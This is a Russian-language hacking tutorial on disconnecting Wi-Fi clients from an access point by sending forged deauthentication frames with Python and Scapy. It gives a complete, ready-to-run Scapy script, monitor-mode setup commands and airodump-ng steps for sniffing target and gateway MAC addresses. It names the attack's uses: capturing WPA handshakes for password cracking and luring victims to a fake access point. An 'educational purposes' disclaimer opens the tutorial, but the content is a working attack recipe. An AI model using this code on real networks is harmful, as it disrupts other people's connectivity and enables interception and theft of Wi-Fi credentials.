Деаутентификация клиентов беспроводной сети — это отправка специальных пакетов, заставляющих устройства отключаться от точки доступа. В статье покажу, как реализовать деаутентификацию клиентов беспроводной сети на Python с помощью библиотеки Scapy.
Еще по теме: Поддельная точка доступа на Python Scapy
Деаутентификация клиентов Wi-Fi на Python используя Scapy
Деаутентификация клиентов основана на отправке специальных фреймов деаутентификации точке доступа от имени клиента. Эти фреймы по сути являются запросом на отключение от сети. Они содержат MAC-адрес клиента в качестве адреса источника и MAC-адрес точки доступа в качестве адреса назначения. Когда точка доступа получает такой фрейм деаутентификации, она считает, что запрос пришел от реального клиента, и отключает его от сети.
Таким образом, злоумышленник может в любой момент отключить пользователя от сети, зная только его MAC-адрес. Эта атака используется, например, для захвата рукопожатия WPA или направления жертвы на фальшивую точку доступа.
Статья в образовательных целях, для обучения этичных хакеров. При написании статьи использовались личные устройства автора. Несанкционированный взлом Wi-Fi сетей и манипуляции с трафиком считаются незаконными и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши необдуманные действия.
Для отправки фреймов деаутентификации можно использовать библиотеку Scapy.
Установите Scapy (см. Установка Scapy), а потом импортируйте:
1 |
from scapy.all import * |
Dot11Deauth() — это функция библиотеки Scapy, которая используется в беспроводных сетях для создания фреймов деаутентификации. Фрейм деаутентификации отправляется на беспроводную точку доступа с целью разорвать связь между ней и конкретным устройством, указанным в пакете.
Давайте создадим пакет:
1 2 3 4 5 6 7 8 9 10 11 |
target_mac = "00:ae:fa:81:e2:5e" gateway_mac = "e8:94:f6:c4:97:3f" # Фрейм 802.11 # addr1: MAC-адрес назначения # addr2: MAC-адрес источника # addr3: MAC-адрес точки доступа dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac) # объединяем их packet = RadioTap()/dot11/Dot11Deauth(reason=7) # отправляем пакет sendp(packet, inter=0.1, count=100, iface="wlan0mon", verbose=1) |
Это по сути запрос точки доступа на деаутентификацию цели. Мы ставим MAC-адрес назначения на MAC-адрес устройства цели, а MAC-адрес источника — на MAC-адрес точки доступа. Затем отправляем фрейм 100 раз каждые 0.1 секунды, что приведет к деаутентификации на 10 секунд.
Чтобы запустить код нужен компьютер с Linux и WiFi-адаптер в режиме монитора (см. Как перевести адаптер в режим монитора).
Для включения режима монитора можно использовать iwconfig или airmon-ng:
1 2 |
$ sudo ifconfig wlan0 down $ sudo iwconfig wlan0 mode monitor |
Или:
1 |
$ sudo airmon-ng start wlan0 |
В моем случае адаптер WiFi — это wlan0, в вашем случае может отличаться, поэтому выполните команду ifconfig и проверьте название сетевого интерфейса.
Вы наварено задаетесь вопросом: как можно получить MAC-адреса шлюза и цели, если мы не подключены к этой сети? Это хороший вопрос. Когда вы устанавливаете WiFi-адаптер в режим монитора, вы можете фактически перехватывать пакеты в воздухе с помощью следующей команды (после установки aircrack-ng):
1 |
$ airodump-ng wlan0mon |
Эта команда будет продолжать перехватывать beacon-фреймы 802.11 и выводить информацию о беспроводных сетях, а также о подключенных устройствах.
Beacon-фреймы 802.11 — это специальные пакеты, которые передаются точками доступа в беспроводных сетях для объявления своего присутствия и предоставления информации о себе. Эти фреймы содержат информацию о сети, такую как SSID (имя сети), тип шифрования, канал связи и другие параметры. Клиентские устройства используют beacon-фреймы для определения доступных сетей и выбора наиболее подходящей для подключения.
Перед тем, как мы выполним скрипт, я подключил свой телефон Android (жертва у которой MAC-адрес 00:ae:fa:81:e2:5e) к точке доступа Wi-Fi (MAC-адрес e8:94:f6:c4:97:3f):
Теперь давайте выполним скрипт:
Вернемся к устройству жертвы:
Как вы можете видеть, атака деаутентификации была успешна. Меня со свистом выкинуло из моей WiFi-сети.
Одна из основных целей атаки деаутентификации — заставить клиентов подключиться к зловредной точке доступа, которая может использоваться для захвата сетевых пакетов, передаваемых между клиентом и поддельной точкой доступа. Это также может быть полезно для захвата хендшейка и последующего взлома пароля сети Wi-Fi.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Взлом WiFi на Python
- Актуальные техники взлома WiFi
- Лучшие хакерские приложения для взлома с телефона